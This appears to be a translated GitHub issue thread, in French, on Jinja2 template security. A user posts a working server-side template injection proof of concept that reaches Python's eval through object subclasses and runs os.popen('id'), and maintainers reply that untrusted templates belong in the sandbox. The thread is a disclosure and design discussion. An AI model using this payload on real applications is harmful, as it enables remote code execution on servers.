Lorsque j'utilise le framework de modèles Jinja2 dans mon projet, j'ai trouvé un moyen d'appeler "os.popen('id')" ou une autre fonction sans registre global.
Il est facile d'obtenir un shell lorsque l'attaquant peut contrôler le contenu du modèle. Est-ce une telle conception?
PoC :
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
Je teste ce code avec python2 (2.7.10) et Jinja2 (2.8), si cela fonctionne, j'imprimerai l'uid de votre utilisateur...
Vous ne devez pas exécuter de modèles non approuvés dans un environnement sans bac à sable. C'est exactement pourquoi le bac à sable existe (et pour être honnête, même avec un bac à sable, je ne laisserais pas les utilisateurs fournir des modèles Jinja arbitraires)
Alors, faut-il prendre des mesures pour prévenir ce cas ? Je pense qu'une application spécifique permettrait aux utilisateurs de modifier le contenu du modèle, mais il n'y a pas d'exemples pratiques.
Je pense qu'il est nécessaire d'utiliser sandbox par défaut, car flask ou un autre framework Web utilisé Jinja2 ne le fait pas.
Pourquoi voudriez-vous utiliser le bac à sable par défaut ? Dans la plupart des cas, les modèles ne peuvent pas être modifiés par des personnes non fiables qui n'ont de toute façon pas accès au code.
Il existe un cas d'exécution de code à distance via l'injection de modèle Flask/Jinja2 dans Uber.
lien : http://www.tuicool.com/articles/uE3YNjY
L'activation du sandbox par défaut n'est pas possible en raison de la rétrocompatibilité, et n'est pas non plus raisonnable car la plupart des modèles (dans Flask) sont fiables.
Commentaire le plus utile
Vous ne devez pas exécuter de modèles non approuvés dans un environnement sans bac à sable. C'est exactement pourquoi le bac à sable existe (et pour être honnête, même avec un bac à sable, je ne laisserais pas les utilisateurs fournir des modèles Jinja arbitraires)